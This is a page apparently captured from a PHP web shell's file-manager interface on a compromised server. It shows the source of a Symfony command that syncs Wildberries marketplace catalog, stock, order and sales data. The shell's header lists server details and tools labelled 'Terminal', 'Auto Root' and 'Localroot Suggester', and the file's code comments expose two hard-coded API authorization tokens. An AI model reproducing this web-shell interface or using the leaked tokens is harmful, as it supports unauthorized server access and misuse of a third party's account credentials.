Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.189.143.114
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
src /
Command /
Delete
Unzip
Name
Size
Permission
Date
Action
UpdateAllCommand.php
43.82
KB
-rw-rw-r--
2023-08-22 14:58
UpdateReportsCommand.php
13.3
KB
-rw-rw-r--
2023-08-15 12:20
Save
Rename
<?php namespace App\Command; use App\Entity\Catalog; use App\Entity\CatalogLog; use App\Entity\CatalogUpdates; use App\Entity\Incomes; use App\Entity\Orders; use App\Entity\OrdersLog; use App\Entity\Sales; use App\Entity\SalesLog; use App\Entity\Stocks; use App\Entity\StocksLog; use App\Entity\Warehouses; use App\Entity\Reports; use App\Entity\User; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Style\SymfonyStyle; use Doctrine\ORM\EntityManagerInterface; class UpdateAllCommand extends Command { protected static $defaultName = 'app:UpdateAll'; private $em; public function __construct(EntityManagerInterface $em) { $this->em = $em; parent::__construct(); } protected function configure() { $this ->setDescription('Full update. Once a day.') ; } protected function execute(InputInterface $input, OutputInterface $output) { $io = new SymfonyStyle($input, $output); $entityManager = $this->em; $catalogRepo = $this->getCatalogRepo(); $incomesRepo = $this->getIncomesRepo(); $ordersRepo = $this->getOrdersRepo(); $reportsRepo = $this->getReportsRepo(); $salesRepo = $this->getSalesRepo(); $stocksRepo = $this->getStocksRepo(); $stocksLogRepo = $this->getStocksLogRepo(); $catalogLogRepo = $this->getCatalogLogRepo(); $ordersLogRepo = $this->getOrdersLogRepo(); $catalogUpdatesRepo = $this->getCatalogUpdatesRepo(); $usersRepo = $this->getUserRepo(); $last_update = $catalogUpdatesRepo->findBy([], ['id'=>'DESC'], 1, 0); $str_time = strtotime($last_update[0]->getCreatedAt()->format("Y-m-d H:i:s"))+15*60; $update_time = date("Y-m-d", $str_time)."T".date("H:i:s", $str_time); $date = new \DateTime(); $users = $usersRepo->findAll(); if (!empty($users)) { foreach ($users as $user) { if ($user->getStandartApiKey() and $user->getStatisticsApiKey()) { $standart_api_key = $user->getStandartApiKey(); $statistics_api_key = $user->getStatisticsApiKey(); //"updatedAt": "'.$update_time.'"}, "nmID": 78771860 //curl -X POST https://suppliers-api.wildberries.ru/content/v1/cards/cursor/list -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NJRCI6IjgzN2I1ZGYxLWFlYjQtNGJkZC1hYTJiLTdiN2NmZjc2MzMxMiJ9.LwLuGSZoRUgVypVTbIYK42HXksKhL8Q3HRLT6xRWWWc" -H "Content-Type: application/json" -d "[{"sort": {"cursor": {"limit": 1000}, "filter": {"withPhoto": -1}}}]" $data = '{"sort": {"cursor": {"limit": 1000}, "filter": {"withPhoto": -1, "updatedAt": "' . $update_time . '"}}}'; $url = 'https://suppliers-api.wildberries.ru/content/v1/cards/cursor/list'; $headers = array( 'Authorization: ' . $standart_api_key, 'Content-Type: application/json' ); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_RETURNTRANSFER => true, CURLOPT_POSTFIELDS => $data, CURLOPT_HTTPHEADER => $headers ); curl_setopt_array($ch, $options); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $result = curl_exec($ch); $arResult = json_decode($result); $status = curl_getinfo($ch); curl_close($ch); setlocale(LC_MONETARY, 'ru_RU'); if ($status["http_code"] == "200") { if (!empty($arResult->data->cards)) { foreach ($arResult->data->cards as $card) { $arItem = $catalogRepo->findBy(["nmID" => $card->nmID, "accountId" => $user->getId()]); if (!empty($arItem)) { $item = $arItem[0]; $feedbackRating = $feedbackCount = ''; $data = 'nmId='.$card->nmID; $url = 'https://feedbacks-api.wildberries.ru/api/v1/feedbacks/products/rating/nmid?nmId='.$card->nmID; $headers = array( 'Authorization: ' . $standart_api_key, //'Content-Type: application/json' ); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_CUSTOMREQUEST => 'GET', CURLOPT_RETURNTRANSFER => true, CURLOPT_POSTFIELDS => $data, CURLOPT_HTTPHEADER => $headers ); curl_setopt_array($ch, $options); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $resultRating = curl_exec($ch); $arResultRating = json_decode($resultRating); $statusRating = curl_getinfo($ch); curl_close($ch); setlocale(LC_MONETARY, 'ru_RU'); if ($statusRating["http_code"] == "200") { if (!empty($arResultRating->data)) { $feedbackRating = (float)$arResultRating->data->valuation; $feedbackCount = (int)$arResultRating->data->feedbacksCount; } } $catalogLog = new CatalogLog(); $catalogLog->setOrigId($item->getId()); $catalogLog->setObject($item->getObject()); $catalogLog->setBrand($item->getBrand()); $catalogLog->setVendorCode($item->getVendorCode()); $catalogLog->setUpdateAt($item->getUpdateAt()); $catalogLog->setColors($item->getColors()); $catalogLog->setNmID($item->getNmID()); $catalogLog->setMediaFiles($item->getMediaFiles()); $catalogLog->setSizes($item->getSizes()); $catalogLog->setAccountId($user->getId()); $catalogLog->setFeedbackRating($item->getFeedbackRating()); $catalogLog->setFeedbackCount($item->getFeedbackCount()); $catalogLog->setUpdatedAt($item->getUpdatedAt()); $catalogLog->setCreatedAt($item->getCreatedAt()); $entityManager->persist($catalogLog); if (!empty($card->object)) $item->setObject($card->object); if (!empty($card->brand)) $item->setBrand($card->brand); if (!empty($card->vendorCode)) $item->setVendorCode($card->vendorCode); if (!empty($card->updateAt)) $item->setUpdateAt($card->updateAt); if (!empty($card->colors)) $item->setColors(json_encode($card->colors)); if (!empty($card->nmID)) $item->setNmID($card->nmID); if (!empty($card->mediaFiles)) $item->setMediaFiles(json_encode($card->mediaFiles)); if (!empty($card->sizes)) $item->setSizes(json_encode($card->sizes)); if (!empty($feedbackRating)) $item->setFeedbackRating($feedbackRating); if (!empty($feedbackCount)) $item->setFeedbackCount($feedbackCount); $item->setAccountId($user->getId()); $item->setUpdatedAt($date); $item->setCreatedAt($date); $entityManager->persist($item); } else { $catalog = new Catalog(); if (!empty($card->object)) $catalog->setObject($card->object); if (!empty($card->brand)) $catalog->setBrand($card->brand); if (!empty($card->vendorCode)) $catalog->setVendorCode($card->vendorCode); if (!empty($card->updateAt)) $catalog->setUpdateAt($card->updateAt); if (!empty($card->colors)) $catalog->setColors(json_encode($card->colors)); if (!empty($card->nmID)) $catalog->setNmID($card->nmID); if (!empty($card->mediaFiles)) $catalog->setMediaFiles(json_encode($card->mediaFiles)); if (!empty($card->sizes)) $catalog->setSizes(json_encode($card->sizes)); if (!empty($feedbackRating)) $catalog->setFeedbackRating($feedbackRating); if (!empty($feedbackCount)) $catalog->setFeedbackCount($feedbackCount); $catalog->setAccountId($user->getId()); $catalog->setUpdatedAt($date); $catalog->setCreatedAt($date); $entityManager->persist($catalog); } } $entityManager->flush(); } } //curl -X GET https://suppliers-api.wildberries.ru/api/v2/warehouses -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NJRCI6ImIxOGQxZDk2LTNmM2ItNGM0Yi1hMjU3LWQ2NGU4NGVkM2UyOSJ9.WTcgkv3AdWXhokqFjSkK17_jARPCqqLUFWkKJXNPHjs" -d "[{"dateFrom": "2022-12-01T00:00:00"}]" $data = 'dateFrom=' . $update_time; $url = 'https://statistics-api.wildberries.ru/api/v1/supplier/incomes?dateFrom=' . $update_time; $headers = array( 'Authorization: ' . $statistics_api_key, //'Content-Type: application/json' ); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_CUSTOMREQUEST => 'GET', CURLOPT_RETURNTRANSFER => true, CURLOPT_POSTFIELDS => $data, CURLOPT_HTTPHEADER => $headers ); curl_setopt_array($ch, $options); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $result = curl_exec($ch); $arResult = json_decode($result); $status = curl_getinfo($ch); curl_close($ch); if ($status["http_code"] == "200") { if (!empty($arResult)) { foreach ($arResult as $item) { $incomes = new Incomes(); if (!empty($item->incomeId)) $incomes->setIncomeId($item->incomeId); if (!empty($item->number)) $incomes->setNumber($item->number); if (!empty($item->date)) $incomes->setDate(new \DateTime($item->date)); if (!empty($item->lastChangeDate)) $incomes->setLastChangeDate(new \DateTime($item->lastChangeDate)); if (!empty($item->supplierArticle)) $incomes->setSupplierArticle($item->supplierArticle); if (!empty($item->techSize)) $incomes->setTechSize($item->techSize); if (!empty($item->barcode)) $incomes->setBarcode($item->barcode); if (!empty($item->quantity)) $incomes->setQuantity($item->quantity); if (!empty($item->totalPrice)) $incomes->setTotalPrice($item->totalPrice); if (!empty($item->dateClose)) $incomes->setDateClose(new \DateTime($item->dateClose)); if (!empty($item->warehouseName)) $incomes->setWarehouseName($item->warehouseName); if (!empty($item->nmId)) $incomes->setNmID($item->nmId); if (!empty($item->status)) $incomes->setStatus($item->status); $incomes->setAccountId($user->getId()); $incomes->setCreatedAt($date); $incomes->setUpdatedAt($date); $entityManager->persist($incomes); } $entityManager->flush(); } } $data = 'dateFrom=' . $update_time; $url = 'https://statistics-api.wildberries.ru/api/v1/supplier/stocks?dateFrom=' . $update_time; $headers = array( 'Authorization: ' . $statistics_api_key, //'Content-Type: application/json' ); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_CUSTOMREQUEST => 'GET', CURLOPT_RETURNTRANSFER => true, CURLOPT_POSTFIELDS => $data, CURLOPT_HTTPHEADER => $headers ); curl_setopt_array($ch, $options); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $result = curl_exec($ch); $arResult = json_decode($result); $status = curl_getinfo($ch); curl_close($ch); if ($status["http_code"] == "200") { if (!empty($arResult)) { foreach ($arResult as $item) { $is_real = null; if ($item->isRealization) $is_real = 1; $arItem = $stocksRepo->findBy(["nmID" => $item->nmId, "warehouseName" => $item->warehouseName, "accountId" => $user->getId()]); if (!empty($arItem[0])) { $stocks = $arItem[0]; $stocksLog = new StocksLog(); $stocksLog->setOrigId($stocks->getId()); $stocksLog->setLastChangeDate($stocks->getLastChangeDate()); $stocksLog->setSupplierArticle($stocks->getSupplierArticle()); $stocksLog->setTechSize($stocks->getTechSize()); $stocksLog->setBarcode($stocks->getBarcode()); $stocksLog->setQuantity($stocks->getQuantity()); $stocksLog->setIsSupply($stocks->getIsSupply()); $stocksLog->setIsRealization($stocks->getIsRealization()); $stocksLog->setQuantityFull($stocks->getQuantityFull()); $stocksLog->setWarehouseName($stocks->getWarehouseName()); $stocksLog->setNmID($stocks->getNmID()); $stocksLog->setSubject($stocks->getSubject()); $stocksLog->setCategory($stocks->getCategory()); $stocksLog->setDaysOnSite($stocks->getDaysOnSite()); $stocksLog->setBrand($stocks->getBrand()); $stocksLog->setSCCode($stocks->getSCCode()); $stocksLog->setPrice($stocks->getPrice()); $stocksLog->setDiscount($stocks->getDiscount()); $stocksLog->setAccountId($stocks->getAccountId()); $stocksLog->setCreatedAt($stocks->getCreatedAt()); $stocksLog->setUpdatedAt($stocks->getUpdatedAt()); $entityManager->persist($stocksLog); if (!empty($item->lastChangeDate)) $stocks->setLastChangeDate(new \DateTime($item->lastChangeDate)); if (!empty($item->supplierArticle)) $stocks->setSupplierArticle($item->supplierArticle); if (!empty($item->techSize)) $stocks->setTechSize($item->techSize); if (!empty($item->barcode)) $stocks->setBarcode($item->barcode); if (!empty($item->quantity)) $stocks->setQuantity($item->quantity); if (!empty($item->isSupply)) $stocks->setIsSupply($item->isSupply); if (!empty($item->isRealization)) $stocks->setIsRealization($item->isRealization); if (!empty($item->quantityFull)) $stocks->setQuantityFull($item->quantityFull); if (!empty($item->warehouseName)) $stocks->setWarehouseName($item->warehouseName); if (!empty($item->nmId)) $stocks->setNmID($item->nmId); if (!empty($item->subject)) $stocks->setSubject($item->subject); if (!empty($item->category)) $stocks->setCategory($item->category); if (!empty($item->daysOnSite)) $stocks->setDaysOnSite($item->daysOnSite); if (!empty($item->brand)) $stocks->setBrand($item->brand); if (!empty($item->SCCode)) $stocks->setSCCode($item->SCCode); if (!empty($item->Price)) $stocks->setPrice($item->Price); if (!empty($item->Discount)) $stocks->setDiscount($item->Discount); $stocks->setAccountId($user->getId()); $stocks->setCreatedAt($date); $stocks->setUpdatedAt($date); $entityManager->persist($stocks); } else { $stocks = new Stocks(); if (!empty($item->lastChangeDate)) $stocks->setLastChangeDate(new \DateTime($item->lastChangeDate)); if (!empty($item->supplierArticle)) $stocks->setSupplierArticle($item->supplierArticle); if (!empty($item->techSize)) $stocks->setTechSize($item->techSize); if (!empty($item->barcode)) $stocks->setBarcode($item->barcode); if (!empty($item->quantity)) $stocks->setQuantity($item->quantity); if (!empty($item->isSupply)) $stocks->setIsSupply($item->isSupply); if (!empty($item->isRealization)) $stocks->setIsRealization($item->isRealization); if (!empty($item->quantityFull)) $stocks->setQuantityFull($item->quantityFull); if (!empty($item->warehouseName)) $stocks->setWarehouseName($item->warehouseName); if (!empty($item->nmId)) $stocks->setNmID($item->nmId); if (!empty($item->subject)) $stocks->setSubject($item->subject); if (!empty($item->category)) $stocks->setCategory($item->category); if (!empty($item->daysOnSite)) $stocks->setDaysOnSite($item->daysOnSite); if (!empty($item->brand)) $stocks->setBrand($item->brand); if (!empty($item->SCCode)) $stocks->setSCCode($item->SCCode); if (!empty($item->Price)) $stocks->setPrice($item->Price); if (!empty($item->Discount)) $stocks->setDiscount($item->Discount); $stocks->setAccountId($user->getId()); $stocks->setCreatedAt($date); $stocks->setUpdatedAt($date); $entityManager->persist($stocks); } } $entityManager->flush(); } } $data = 'dateFrom=' . $update_time; $url = 'https://statistics-api.wildberries.ru/api/v1/supplier/orders?dateFrom=' . $update_time; $headers = array( 'Authorization: ' . $statistics_api_key, //'Content-Type: application/json' ); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_CUSTOMREQUEST => 'GET', CURLOPT_RETURNTRANSFER => true, CURLOPT_POSTFIELDS => $data, CURLOPT_HTTPHEADER => $headers ); curl_setopt_array($ch, $options); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $result = curl_exec($ch); $arResult = json_decode($result); $status = curl_getinfo($ch); curl_close($ch); if ($status["http_code"] == "200") { if (!empty($arResult)) { foreach ($arResult as $item) { $arItem = $ordersRepo->findBy(["srid" => $item->srid, "accountId" => $user->getId()]); if (!empty($arItem)) { $itm = $arItem[0]; $ordersLog = new OrdersLog(); $ordersLog->setOrigId($itm->getId()); $ordersLog->setDate($itm->getDate()); $ordersLog->setLastChangeDate($itm->getLastChangeDate()); $ordersLog->setSupplierArticle($itm->getSupplierArticle()); $ordersLog->setTechSize($itm->getTechSize()); $ordersLog->setBarcode($itm->getBarcode()); $ordersLog->setTotalPrice($itm->getTotalPrice()); $ordersLog->setDiscountPercent($itm->getDiscountPercent()); $ordersLog->setWarehouseName($itm->getWarehouseName()); $ordersLog->setOblast($itm->getOblast()); $ordersLog->setIncomeID($itm->getIncomeID()); $ordersLog->setOdid($itm->getOdid()); $ordersLog->setNmId($itm->getNmId()); $ordersLog->setSubject($itm->getSubject()); $ordersLog->setCategory($itm->getCategory()); $ordersLog->setBrand($itm->getBrand()); $ordersLog->setIsCancel($itm->getIsCancel()); $ordersLog->setCancelDt($itm->getCancelDt()); $ordersLog->setGNumber($itm->getGNumber()); $ordersLog->setSticker($itm->getSticker()); $ordersLog->setSrid($itm->getSrid()); $ordersLog->setOrderType($itm->getOrderType()); $ordersLog->setAccountId($user->getId()); $ordersLog->setCreatedAt($date); $ordersLog->setUpdatedAt($date); $entityManager->persist($ordersLog); if (!empty($item->date)) $itm->setDate(new \DateTime($item->date)); if (!empty($item->lastChangeDate)) $itm->setLastChangeDate(new \DateTime($item->lastChangeDate)); if (!empty($item->supplierArticle)) $itm->setSupplierArticle($item->supplierArticle); if (!empty($item->techSize)) $itm->setTechSize($item->techSize); if (!empty($item->barcode)) $itm->setBarcode($item->barcode); if (!empty($item->totalPrice)) $itm->setTotalPrice($item->totalPrice); if (!empty($item->discountPercent)) $itm->setDiscountPercent($item->discountPercent); if (!empty($item->warehouseName)) $itm->setWarehouseName($item->warehouseName); if (!empty($item->oblast)) $itm->setOblast($item->oblast); if (!empty($item->incomeID)) $itm->setIncomeID($item->incomeID); if (!empty($item->odid)) $itm->setOdid($item->odid); if (!empty($item->nmId)) $itm->setNmId($item->nmId); if (!empty($item->subject)) $itm->setSubject($item->subject); if (!empty($item->category)) $itm->setCategory($item->category); if (!empty($item->brand)) $itm->setBrand($item->brand); if (!empty($item->isCancel)) $itm->setIsCancel($item->isCancel); if (!empty($item->cancel_dt)) $itm->setCancelDt(new \DateTime($item->cancel_dt)); if (!empty($item->gNumber)) $itm->setGNumber($item->gNumber); if (!empty($item->sticker)) $itm->setSticker($item->sticker); if (!empty($item->srid)) $itm->setSrid($item->srid); $itm->setAccountId($user->getId()); $itm->setCreatedAt($date); $itm->setUpdatedAt($date); $entityManager->persist($itm); } else { $orders = new Orders(); if (!empty($item->date)) $orders->setDate(new \DateTime($item->date)); if (!empty($item->lastChangeDate)) $orders->setLastChangeDate(new \DateTime($item->lastChangeDate)); if (!empty($item->supplierArticle)) $orders->setSupplierArticle($item->supplierArticle); if (!empty($item->techSize)) $orders->setTechSize($item->techSize); if (!empty($item->barcode)) $orders->setBarcode($item->barcode); if (!empty($item->totalPrice)) $orders->setTotalPrice($item->totalPrice); if (!empty($item->discountPercent)) $orders->setDiscountPercent($item->discountPercent); if (!empty($item->warehouseName)) $orders->setWarehouseName($item->warehouseName); if (!empty($item->oblast)) $orders->setOblast($item->oblast); if (!empty($item->incomeID)) $orders->setIncomeID($item->incomeID); if (!empty($item->odid)) $orders->setOdid($item->odid); if (!empty($item->nmId)) $orders->setNmId($item->nmId); if (!empty($item->subject)) $orders->setSubject($item->subject); if (!empty($item->category)) $orders->setCategory($item->category); if (!empty($item->brand)) $orders->setBrand($item->brand); if (!empty($item->isCancel)) $orders->setIsCancel($item->isCancel); if (!empty($item->cancel_dt)) $orders->setCancelDt(new \DateTime($item->cancel_dt)); if (!empty($item->gNumber)) $orders->setGNumber($item->gNumber); if (!empty($item->sticker)) $orders->setSticker($item->sticker); if (!empty($item->srid)) $orders->setSrid($item->srid); $orders->setAccountId($user->getId()); $orders->setCreatedAt($date); $orders->setUpdatedAt($date); $entityManager->persist($orders); } } $entityManager->flush(); } } $data = 'dateFrom=' . $update_time; $url = 'https://statistics-api.wildberries.ru/api/v1/supplier/sales?dateFrom=' . $update_time; $headers = array( 'Authorization: ' . $statistics_api_key, //'Content-Type: application/json' ); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_CUSTOMREQUEST => 'GET', CURLOPT_RETURNTRANSFER => true, CURLOPT_POSTFIELDS => $data, CURLOPT_HTTPHEADER => $headers ); curl_setopt_array($ch, $options); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $result = curl_exec($ch); $arResult = json_decode($result); $status = curl_getinfo($ch); curl_close($ch); if ($status["http_code"] == "200") { if (!empty($arResult)) { foreach ($arResult as $item) { $arItem = $salesRepo->findBy(["srid" => $item->srid, "accountId" => $user->getId()]); if (!empty($arItem)) { $itm = $arItem[0]; $salesLog = new SalesLog(); $salesLog->setOrigId($itm->getId()); $salesLog->setDate($itm->getDate()); $salesLog->setLastChangeDate($itm->getLastChangeDate()); $salesLog->setSupplierArticle($itm->getSupplierArticle()); $salesLog->setTechSize($itm->getTechSize()); $salesLog->setBarcode($itm->getBarcode()); $salesLog->setTotalPrice($itm->getTotalPrice()); $salesLog->setDiscountPercent($itm->getDiscountPercent()); $salesLog->setIsSupply($itm->getIsSupply()); $salesLog->setIsRealization($itm->getIsRealization()); $salesLog->setPromoCodeDiscount($itm->getPromoCodeDiscount()); $salesLog->setWarehouseName($itm->getWarehouseName()); $salesLog->setCountryName($itm->getCountryName()); $salesLog->setOblastOkrugName($itm->getOblastOkrugName()); $salesLog->setRegionName($itm->getRegionName()); $salesLog->setIncomeID($itm->getIncomeID()); $salesLog->setSaleID($itm->getSaleID()); $salesLog->setOdid($itm->getOdid()); $salesLog->setSpp($itm->getSpp()); $salesLog->setForPay($itm->getForPay()); $salesLog->setFinishedPrice($itm->getFinishedPrice()); $salesLog->setPriceWithDisc($itm->getPriceWithDisc()); $salesLog->setNmId($itm->getNmId()); $salesLog->setSubject($itm->getSubject()); $salesLog->setCategory($itm->getCategory()); $salesLog->setBrand($itm->getBrand()); $salesLog->setIsStorno($itm->getIsStorno()); $salesLog->setGNumber($itm->getGNumber()); $salesLog->setSticker($itm->getSticker()); $salesLog->setSrid($itm->getSrid()); $salesLog->setAccountId($user->getId()); $salesLog->setCreatedAt($date); $salesLog->setUpdatedAt($date); $entityManager->persist($salesLog); if (!empty($item->date)) $itm->setDate(new \DateTime($item->date)); if (!empty($item->lastChangeDate)) $itm->setLastChangeDate(new \DateTime($item->lastChangeDate)); if (!empty($item->supplierArticle)) $itm->setSupplierArticle($item->supplierArticle); if (!empty($item->techSize)) $itm->setTechSize($item->techSize); if (!empty($item->barcode)) $itm->setBarcode($item->barcode); if (!empty($item->totalPrice)) $itm->setTotalPrice($item->totalPrice); if (!empty($item->discountPercent)) $itm->setDiscountPercent($item->discountPercent); if (!empty($item->isSupply)) $itm->setIsSupply($item->isSupply); if (!empty($item->isRealization)) $itm->setIsRealization($item->isRealization); if (!empty($item->promoCodeDiscount)) $itm->setPromoCodeDiscount($item->promoCodeDiscount); if (!empty($item->warehouseName)) $itm->setWarehouseName($item->warehouseName); if (!empty($item->countryName)) $itm->setCountryName($item->countryName); if (!empty($item->oblastOkrugName)) $itm->setOblastOkrugName($item->oblastOkrugName); if (!empty($item->regionName)) $itm->setRegionName($item->regionName); if (!empty($item->incomeID)) $itm->setIncomeID($item->incomeID); if (!empty($item->saleID)) $itm->setSaleID($item->saleID); if (!empty($item->odid)) $itm->setOdid($item->odid); if (!empty($item->spp)) $itm->setSpp($item->spp); if (!empty($item->forPay)) $itm->setForPay($item->forPay); if (!empty($item->finishedPrice)) $itm->setFinishedPrice($item->finishedPrice); if (!empty($item->priceWithDisc)) $itm->setPriceWithDisc($item->priceWithDisc); if (!empty($item->nmId)) $itm->setNmId($item->nmId); if (!empty($item->subject)) $itm->setSubject($item->subject); if (!empty($item->category)) $itm->setCategory($item->category); if (!empty($item->brand)) $itm->setBrand($item->brand); if (!empty($item->IsStorno)) $itm->setIsStorno($item->IsStorno); if (!empty($item->gNumber)) $itm->setGNumber($item->gNumber); if (!empty($item->sticker)) $itm->setSticker($item->sticker); if (!empty($item->srid)) $itm->setSrid($item->srid); $itm->setAccountId($user->getId()); $itm->setCreatedAt($date); $itm->setUpdatedAt($date); $entityManager->persist($itm); } else { $sales = new Sales(); if (!empty($item->date)) $sales->setDate(new \DateTime($item->date)); if (!empty($item->lastChangeDate)) $sales->setLastChangeDate(new \DateTime($item->lastChangeDate)); if (!empty($item->supplierArticle)) $sales->setSupplierArticle($item->supplierArticle); if (!empty($item->techSize)) $sales->setTechSize($item->techSize); if (!empty($item->barcode)) $sales->setBarcode($item->barcode); if (!empty($item->totalPrice)) $sales->setTotalPrice($item->totalPrice); if (!empty($item->discountPercent)) $sales->setDiscountPercent($item->discountPercent); if (!empty($item->isSupply)) $sales->setIsSupply($item->isSupply); if (!empty($item->isRealization)) $sales->setIsRealization($item->isRealization); if (!empty($item->promoCodeDiscount)) $sales->setPromoCodeDiscount($item->promoCodeDiscount); if (!empty($item->warehouseName)) $sales->setWarehouseName($item->warehouseName); if (!empty($item->countryName)) $sales->setCountryName($item->countryName); if (!empty($item->oblastOkrugName)) $sales->setOblastOkrugName($item->oblastOkrugName); if (!empty($item->regionName)) $sales->setRegionName($item->regionName); if (!empty($item->incomeID)) $sales->setIncomeID($item->incomeID); if (!empty($item->saleID)) $sales->setSaleID($item->saleID); if (!empty($item->odid)) $sales->setOdid($item->odid); if (!empty($item->spp)) $sales->setSpp($item->spp); if (!empty($item->forPay)) $sales->setForPay($item->forPay); if (!empty($item->finishedPrice)) $sales->setFinishedPrice($item->finishedPrice); if (!empty($item->priceWithDisc)) $sales->setPriceWithDisc($item->priceWithDisc); if (!empty($item->nmId)) $sales->setNmId($item->nmId); if (!empty($item->subject)) $sales->setSubject($item->subject); if (!empty($item->category)) $sales->setCategory($item->category); if (!empty($item->brand)) $sales->setBrand($item->brand); if (!empty($item->IsStorno)) $sales->setIsStorno($item->IsStorno); if (!empty($item->gNumber)) $sales->setGNumber($item->gNumber); if (!empty($item->sticker)) $sales->setSticker($item->sticker); if (!empty($item->srid)) $sales->setSrid($item->srid); $sales->setAccountId($user->getId()); $sales->setCreatedAt($date); $sales->setUpdatedAt($date); $entityManager->persist($sales); } } $entityManager->flush(); } } } } $dateCreate = new \DateTime((str_replace("T", "", $update_time))); $catalogUpdates = new CatalogUpdates(); $catalogUpdates->setCreatedAt($dateCreate); $catalogUpdates->setStatus(1); $entityManager->persist($catalogUpdates); $entityManager->flush(); } $io->success('Finished.'); return 1; } /** * @return \Doctrine\ORM\EntityRepository|\App\Repository\CatalogRepository */ protected function getCatalogRepo() { return $this->em->getRepository(Catalog::class); } /** * @return \Doctrine\ORM\EntityRepository|\App\Repository\CatalogRepository */ protected function getCatalogLogRepo() { return $this->em->getRepository(CatalogLog::class); } /** * @return \Doctrine\ORM\EntityRepository|\App\Repository\CatalogRepository */ protected function getCatalogUpdatesRepo() { return $this->em->getRepository(CatalogUpdates::class); } /** * @return \Doctrine\ORM\EntityRepository|\App\Repository\UserRepository */ protected function getUserRepo() { return $this->em->getRepository(User::class); } /** * @return \Doctrine\ORM\EntityRepository|\App\Repository\IncomesRepository */ protected function getIncomesRepo() { return $this->em->getRepository(Incomes::class); } /** * @return \Doctrine\ORM\EntityRepository|\App\Repository\OrdersRepository */ protected function getOrdersRepo() { return $this->em->getRepository(Orders::class); } /** * @return \Doctrine\ORM\EntityRepository|\App\Repository\ReportsRepository */ protected function getReportsRepo() { return $this->em->getRepository(Reports::class); } /** * @return \Doctrine\ORM\EntityRepository|\App\Repository\SalesRepository */ protected function getSalesRepo() { return $this->em->getRepository(Sales::class); } /** * @return \Doctrine\ORM\EntityRepository|\App\Repository\StocksRepository */ protected function getStocksRepo() { return $this->em->getRepository(Stocks::class); } /** * @return \Doctrine\ORM\EntityRepository|\App\Repository\StocksLogRepository */ protected function getStocksLogRepo() { return $this->em->getRepository(StocksLog::class); } /** * @return \Doctrine\ORM\EntityRepository|\App\Repository\OrdersLogRepository */ protected function getOrdersLogRepo() { return $this->em->getRepository(OrdersLog::class); } }